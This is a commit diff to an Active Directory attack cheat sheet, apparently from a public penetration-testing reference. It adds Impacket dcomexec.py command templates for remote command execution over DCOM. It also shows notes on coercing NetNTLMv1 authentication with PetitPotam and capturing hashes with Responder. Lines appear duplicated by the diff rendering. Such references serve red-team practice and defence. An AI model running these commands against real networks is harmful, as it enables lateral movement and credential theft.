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DCOM Exec Impacket

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Swissky 2021-09-07 14:48:57 +02:00
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Methodology and Resources/Active Directory Attack.md
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@ -1674,10 +1674,10 @@ klist
:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes. :information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.
Requirements: **Requirements**:
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`) * LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)
**Exploitation**:
* Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical **1122334455667788** challenge * Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical **1122334455667788** challenge
```ps1 ```ps1
HTTPS = On HTTPS = On
@ -2210,6 +2210,13 @@ Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer. > DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
* Impacket DcomExec.py
```ps1
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
```
* CheeseTools - https://github.com/klezVirus/CheeseTools * CheeseTools - https://github.com/klezVirus/CheeseTools
```powershell ```powershell
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/ # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/